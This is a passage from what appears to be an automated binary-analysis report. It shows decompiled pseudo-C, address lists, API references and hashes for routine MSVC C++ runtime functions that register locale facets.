0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d

APIs

__EH_prolog3.LIBCMT ref: 6DD1F806
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F810
int.LIBCPMT ref: 6DD1F827

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F861
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F881
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F89F

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 405cfa6634be9866b939c420863cf04e9a4a33f7f23b9b6bbe42a4777c552818
Instruction ID: ab5210d280a74ee2e3c275655569b605d754fbd7c79cac8d9d369c77962397f7
Opcode Fuzzy Hash: 405cfa6634be9866b939c420863cf04e9a4a33f7f23b9b6bbe42a4777c552818
Instruction Fuzzy Hash: DC11A0B294812DCBCF01FBA4DC40AFDB775EF85724F260109F610A7290DB749A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14747, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6DD14747(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t18;
				intOrPtr* _t19;
				intOrPtr* _t39;
				intOrPtr* _t44;
				void* _t47;

				E6DD300AC(0x6dd7816f, __ebx, __edi, __esi, 0x18);
				E6DD16653(_t47 - 0x14, 0);
				 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
				_t44 =  *0x6ddece7c; // 0x2e993b0
				 *((intOrPtr*)(_t47 - 0x10)) = _t44;
				_t18 = E6DCF161C(0x6ddece90);
				_t35 =  *((intOrPtr*)(_t47 + 8));
				_t19 = E6DCF171B( *((intOrPtr*)(_t47 + 8)), _t18);
				_t46 = _t19;
				if(_t19 != 0) {
					L5:
					E6DD166BA(_t47 - 0x14);
					return E6DD30075(_t46);
				} else {
					if(_t44 == 0) {
						_push( *((intOrPtr*)(_t47 + 8)));
						_push(_t47 - 0x10);
						__eflags = E6DD14F5F(__ebx, _t35, __edx, _t44, _t46) - 0xffffffff;
						if(__eflags == 0) {
							_t39 = _t47 - 0x20;
							E6DCF1438(_t39);
							E6DD33D74(_t47 - 0x20, 0x6ddd3504);
							asm("int3");
							 *_t39 = __edx;
							return _t39;
						} else {
							_t46 =  *((intOrPtr*)(_t47 - 0x10));
							 *((intOrPtr*)(_t47 - 0x10)) = _t46;
							 *(_t47 - 4) = 1;
							E6DD16FD3(__eflags, _t46);
							 *((intOrPtr*)( *_t46 + 4))();
							 *0x6ddece7c = _t46;
							goto L5;
						}
					} else {
						_t46 = _t44;
						goto L5;
					}
				}
			}

0x6dd1474e
0x6dd14758
0x6dd1475d
0x6dd14766
0x6dd1476c
0x6dd1476f
0x6dd14774
0x6dd14778
0x6dd1477d
0x6dd14781
0x6dd147bc
0x6dd147bf
0x6dd147cb
0x6dd14783
0x6dd14785
0x6dd1478b
0x6dd14791
0x6dd14799
0x6dd1479c
0x6dd147cc
0x6dd147cf
0x6dd147dd
0x6dd147e2
0x6dd147e3
0x6dd147e7
0x6dd1479e
0x6dd1479e
0x6dd147a1
0x6dd147a5
0x6dd147a9
0x6dd147b3
0x6dd147b6
0x00000000
0x6dd147b6
0x6dd14787
0x6dd14787
0x00000000
0x6dd14787
0x6dd14785

APIs

__EH_prolog3.LIBCMT ref: 6DD1474E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD14758
int.LIBCPMT ref: 6DD1476F

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD147A9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD147BF
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD147DD

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: ed18dba0c39b496522d0874509124298e176503958513abc6b8478033fcc0ad0
Instruction ID: f0f55257490194bd56763df4e399f5ca545246ae202944f1c7c20a530453de9a
Opcode Fuzzy Hash: ed18dba0c39b496522d0874509124298e176503958513abc6b8478033fcc0ad0
Instruction Fuzzy Hash: 2D11067190C129CBCB00FBA8DC40AFD7B74EF49718F124548F514AB290EB709905CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A1A5, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E6DD1A1A5(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				void* _v16;
				void* _v20;
				char _v32;
				void* _t49;
				intOrPtr* _t50;
				void* _t62;
				void* _t75;
				intOrPtr* _t120;
				intOrPtr* _t133;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr* _t137;
				void* _t138;

				_t99 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t136 =  *0x6ddd6ccc; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t136;
				_t49 = E6DCF161C(0x6ddd6cb8);
				_t102 = _a8;
				_t50 = E6DCF171B(_a8, _t49);
				_t132 = _t50;
				if(_t50 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t132);
				} else {
					if(_t136 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD1AA38(__ebx, _t102, __edx, _t132, _t136) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438( &_v32);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t132, _t136, 0x14);
							E6DD16653( &_v20, 0);
							_t137 =  *0x6ddd6cd0; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t137;
							_t62 = E6DCF161C(0x6ddd6cbc);
							_t109 = _a8;
							_t133 = E6DCF171B(_a8, _t62);
							__eflags = _t133;
							if(_t133 != 0) {
								L12:
								E6DD166BA( &_v20);
								return E6DD30075(_t133);
							} else {
								__eflags = _t137;
								if(_t137 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E6DD1AAA0(__ebx, _t109, __edx, _t133, _t137) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438( &_v32);
										E6DD33D74( &_v32, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t99, _t133, _t137, 0x14);
										E6DD16653( &_v20, 0);
										_t138 =  *0x6ddd6cd4; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t138;
										_t75 = E6DCF161C(0x6ddd6cc0);
										_t116 = _a8;
										_t134 = E6DCF171B(_a8, _t75);
										__eflags = _t134;
										if(_t134 != 0) {
											L19:
											E6DD166BA( &_v20);
											return E6DD30075(_t134);
										} else {
											__eflags = _t138;
											if(_t138 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E6DD1AB08(_t99, _t116, __edx, _t134, _t138) - 0xffffffff;
												if(__eflags == 0) {
													_t120 =  &_v32;
													E6DCF1438(_t120);
													E6DD33D74( &_v32, 0x6ddd3504);
													asm("int3");
													_push(_t120);
													 *((intOrPtr*)(_t120 + 4)) = _v4;
													_v20 = _t120;
													 *_t120 = 0x6dd7ba24;
													return _t120;
												} else {
													_t134 = _v16;
													_v16 = _t134;
													_v4 = 1;
													E6DD16FD3(__eflags, _t134);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t134 + 4))))();
													 *0x6ddd6cd4 = _t134;
													goto L19;
												}
											} else {
												_t134 = _t138;
												goto L19;
											}
										}
									} else {
										_t133 = _v16;
										_v16 = _t133;
										_v4 = 1;
										E6DD16FD3(__eflags, _t133);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t133 + 4))))();
										 *0x6ddd6cd0 = _t133;
										goto L12;
									}
								} else {
									_t133 = _t137;
									goto L12;
								}
							}
						} else {
							_t132 = _v16;
							_v16 = _t132;
							_v4 = 1;
							E6DD16FD3(__eflags, _t132);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t132 + 4))))();
							 *0x6ddd6ccc = _t132;
							goto L5;
						}
					} else {
						_t132 = _t136;
						goto L5;
					}
				}
			}

0x6dd1a1a5
0x6dd1a1ac
0x6dd1a1b6
0x6dd1a1bb
0x6dd1a1c6
0x6dd1a1ca
0x6dd1a1cd
0x6dd1a1d2
0x6dd1a1d6
0x6dd1a1db
0x6dd1a1df
0x6dd1a224
0x6dd1a227
0x6dd1a233
0x6dd1a1e1
0x6dd1a1e3
0x6dd1a1e9
0x6dd1a1ef
0x6dd1a1f7
0x6dd1a1fa
0x6dd1a237
0x6dd1a245
0x6dd1a24a
0x6dd1a252
0x6dd1a25c
0x6dd1a261
0x6dd1a26c
0x6dd1a270
0x6dd1a273
0x6dd1a278
0x6dd1a281
0x6dd1a283
0x6dd1a285
0x6dd1a2ca
0x6dd1a2cd
0x6dd1a2d9
0x6dd1a287
0x6dd1a287
0x6dd1a289
0x6dd1a28f
0x6dd1a295
0x6dd1a29d
0x6dd1a2a0
0x6dd1a2dd
0x6dd1a2eb
0x6dd1a2f0
0x6dd1a2f8
0x6dd1a302
0x6dd1a307
0x6dd1a312
0x6dd1a316
0x6dd1a319
0x6dd1a31e
0x6dd1a327
0x6dd1a329
0x6dd1a32b
0x6dd1a370
0x6dd1a373
0x6dd1a37f
0x6dd1a32d
0x6dd1a32d
0x6dd1a32f
0x6dd1a335
0x6dd1a33b
0x6dd1a343
0x6dd1a346
0x6dd1a380
0x6dd1a383
0x6dd1a391
0x6dd1a396
0x6dd1a39a
0x6dd1a39e
0x6dd1a3a3
0x6dd1a3a6
0x6dd1a3ad
0x6dd1a348
0x6dd1a348
0x6dd1a34b
0x6dd1a34f
0x6dd1a353
0x6dd1a360
0x6dd1a368
0x6dd1a36a
0x00000000
0x6dd1a36a
0x6dd1a331
0x6dd1a331
0x00000000
0x6dd1a331
0x6dd1a32f
0x6dd1a2a2
0x6dd1a2a2
0x6dd1a2a5
0x6dd1a2a9
0x6dd1a2ad
0x6dd1a2ba
0x6dd1a2c2
0x6dd1a2c4
0x00000000
0x6dd1a2c4
0x6dd1a28b
0x6dd1a28b
0x00000000
0x6dd1a28b
0x6dd1a289
0x6dd1a1fc
0x6dd1a1fc
0x6dd1a1ff
0x6dd1a203
0x6dd1a207
0x6dd1a214
0x6dd1a21c
0x6dd1a21e
0x00000000
0x6dd1a21e
0x6dd1a1e5
0x6dd1a1e5
0x00000000
0x6dd1a1e5
0x6dd1a1e3

APIs

__EH_prolog3.LIBCMT ref: 6DD1A1AC
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A1B6
int.LIBCPMT ref: 6DD1A1CD

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1A207
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A227
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A245

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 1de8b7eccab01ad7a09271a052b801435df1aadbdcf19e4f1800be032525a8fa
Instruction ID: ee8854bb162388f3d1e7313a58c37fe784be2bb0af3e4796857dea0e450bf027
Opcode Fuzzy Hash: 1de8b7eccab01ad7a09271a052b801435df1aadbdcf19e4f1800be032525a8fa
Instruction Fuzzy Hash: 1F119E75948129CBCF01FBA8DC40EEDB775EF85314F164009F510AB291DB759A0A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F94B, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F94B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t97;
				signed int _t98;
				void* _t110;
				void* _t123;
				void* _t136;
				void* _t149;
				void* _t162;
				signed int _t245;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				void* _t286;

				_t264 = __edx;
				_t203 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t286 - 0x14, 0);
				_t273 =  *0x6ddd6ddc; // 0x0
				 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
				 *(_t286 - 0x10) = _t273;
				_t97 = E6DCF161C(0x6ddd6d88);
				_t206 =  *((intOrPtr*)(_t286 + 8));
				_t98 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t97);
				_t266 = _t98;
				if(_t98 != 0) {
					L5:
					E6DD166BA(_t286 - 0x14);
					return E6DD30075(_t266);
				} else {
					if(_t273 == 0) {
						_push( *((intOrPtr*)(_t286 + 8)));
						_push(_t286 - 0x10);
						__eflags = E6DD21409(__ebx, _t206, __edx, _t266, _t273) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t286 - 0x20);
							E6DD33D74(_t286 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t266, _t273, 0x14);
							E6DD16653(_t286 - 0x14, 0);
							_t274 =  *0x6ddd6de0; // 0x0
							 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
							 *(_t286 - 0x10) = _t274;
							_t110 = E6DCF161C(0x6ddd6d8c);
							_t213 =  *((intOrPtr*)(_t286 + 8));
							_t267 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t110);
							__eflags = _t267;
							if(_t267 != 0) {
								L12:
								E6DD166BA(_t286 - 0x14);
								return E6DD30075(_t267);
							} else {
								__eflags = _t274;
								if(_t274 == 0) {
									_push( *((intOrPtr*)(_t286 + 8)));
									_push(_t286 - 0x10);
									__eflags = E6DD21471(_t203, _t213, __edx, _t267, _t274) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t286 - 0x20);
										E6DD33D74(_t286 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t203, _t267, _t274, 0x14);
										E6DD16653(_t286 - 0x14, 0);
										_t275 =  *0x6ddd6dfc; // 0x0
										 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
										 *(_t286 - 0x10) = _t275;
										_t123 = E6DCF161C(0x6ddd6da8);
										_t220 =  *((intOrPtr*)(_t286 + 8));
										_t268 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t123);
										__eflags = _t268;
										if(_t268 != 0) {
											L19:
											E6DD166BA(_t286 - 0x14);
											return E6DD30075(_t268);
										} else {
											__eflags = _t275;
											if(_t275 == 0) {
												_push( *((intOrPtr*)(_t286 + 8)));
												_push(_t286 - 0x10);
												__eflags = E6DD214EC(_t203, _t220, __edx, _t268, _t275) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t286 - 0x20);
													E6DD33D74(_t286 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t203, _t268, _t275, 0x14);
													E6DD16653(_t286 - 0x14, 0);
													_t276 =  *0x6ddd6dcc; // 0x0
													 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
													 *(_t286 - 0x10) = _t276;
													_t136 = E6DCF161C(0x6ddd6d80);
													_t227 =  *((intOrPtr*)(_t286 + 8));
													_t269 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t136);
													__eflags = _t269;
													if(_t269 != 0) {
														L26:
														E6DD166BA(_t286 - 0x14);
														return E6DD30075(_t269);
													} else {
														__eflags = _t276;
														if(_t276 == 0) {
															_push( *((intOrPtr*)(_t286 + 8)));
															_push(_t286 - 0x10);
															__eflags = E6DD21558(_t203, _t227, _t264, _t269, _t276) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t286 - 0x20);
																E6DD33D74(_t286 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t203, _t269, _t276, 0x14);
																E6DD16653(_t286 - 0x14, 0);
																_t277 =  *0x6ddd6e00; // 0x0
																 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
																 *(_t286 - 0x10) = _t277;
																_t149 = E6DCF161C(0x6ddd6dac);
																_t234 =  *((intOrPtr*)(_t286 + 8));
																_t270 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t149);
																__eflags = _t270;
																if(_t270 != 0) {
																	L33:
																	E6DD166BA(_t286 - 0x14);
																	return E6DD30075(_t270);
																} else {
																	__eflags = _t277;
																	if(_t277 == 0) {
																		_push( *((intOrPtr*)(_t286 + 8)));
																		_push(_t286 - 0x10);
																		__eflags = E6DD215C4(_t203, _t234, _t264, _t270, _t277) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t286 - 0x20);
																			E6DD33D74(_t286 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t203, _t270, _t277, 0x14);
																			E6DD16653(_t286 - 0x14, 0);
																			_t278 =  *0x6ddd6dd0; // 0x0
																			 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
																			 *(_t286 - 0x10) = _t278;
																			_t162 = E6DCF161C(0x6ddd6d60);
																			_t241 =  *((intOrPtr*)(_t286 + 8));
																			_t271 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t162);
																			__eflags = _t271;
																			if(_t271 != 0) {
																				L40:
																				E6DD166BA(_t286 - 0x14);
																				return E6DD30075(_t271);
																			} else {
																				__eflags = _t278;
																				if(_t278 == 0) {
																					_push( *((intOrPtr*)(_t286 + 8)));
																					_push(_t286 - 0x10);
																					__eflags = E6DD2162A(_t203, _t241, _t264, _t271, _t278) - 0xffffffff;
																					if(__eflags == 0) {
																						_t245 = _t286 - 0x20;
																						E6DCF1438(_t245);
																						E6DD33D74(_t286 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd7851f, _t203, _t271, _t278, 4);
																						_t279 = _t245;
																						 *(_t286 - 0x10) = _t279;
																						 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t286 + 0xc));
																						_push( *((intOrPtr*)(_t286 + 0x14)));
																						_t91 = _t286 - 4;
																						 *_t91 =  *(_t286 - 4) & 0x00000000;
																						__eflags =  *_t91;
																						 *_t279 = 0x6dd7c0c4;
																						 *((char*)(_t279 + 0x28)) =  *((intOrPtr*)(_t286 + 0x10));
																						E6DD2542F(_t203, _t245, _t264, _t271, _t279,  *_t91);
																						return E6DD30075(_t279,  *((intOrPtr*)(_t286 + 8)));
																					} else {
																						_t271 =  *(_t286 - 0x10);
																						 *(_t286 - 0x10) = _t271;
																						 *(_t286 - 4) = 1;
																						E6DD16FD3(__eflags, _t271);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t271 + 4))))();
																						 *0x6ddd6dd0 = _t271;
																						goto L40;
																					}
																				} else {
																					_t271 = _t278;
																					goto L40;
																				}
																			}
																		} else {
																			_t270 =  *(_t286 - 0x10);
																			 *(_t286 - 0x10) = _t270;
																			 *(_t286 - 4) = 1;
																			E6DD16FD3(__eflags, _t270);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t270 + 4))))();
																			 *0x6ddd6e00 = _t270;
																			goto L33;
																		}
																	} else {
																		_t270 = _t277;
																		goto L33;
																	}
																}
															} else {
																_t269 =  *(_t286 - 0x10);
																 *(_t286 - 0x10) = _t269;
																 *(_t286 - 4) = 1;
																E6DD16FD3(__eflags, _t269);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t269 + 4))))();
																 *0x6ddd6dcc = _t269;
																goto L26;
															}
														} else {
															_t269 = _t276;
															goto L26;
														}
													}
												} else {
													_t268 =  *(_t286 - 0x10);
													 *(_t286 - 0x10) = _t268;
													 *(_t286 - 4) = 1;
													E6DD16FD3(__eflags, _t268);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t268 + 4))))();
													 *0x6ddd6dfc = _t268;
													goto L19;
												}
											} else {
												_t268 = _t275;
												goto L19;
											}
										}
									} else {
										_t267 =  *(_t286 - 0x10);
										 *(_t286 - 0x10) = _t267;
										 *(_t286 - 4) = 1;
										E6DD16FD3(__eflags, _t267);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t267 + 4))))();
										 *0x6ddd6de0 = _t267;
										goto L12;
									}
								} else {
									_t267 = _t274;
									goto L12;
								}
							}
						} else {
							_t266 =  *(_t286 - 0x10);
							 *(_t286 - 0x10) = _t266;
							 *(_t286 - 4) = 1;
							E6DD16FD3(__eflags, _t266);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t266 + 4))))();
							 *0x6ddd6ddc = _t266;
							goto L5;
						}
					} else {
						_t266 = _t273;
						goto L5;
					}
				}
			}

0x6dd1f94b
0x6dd1f94b
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f97c
0x6dd1f981
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
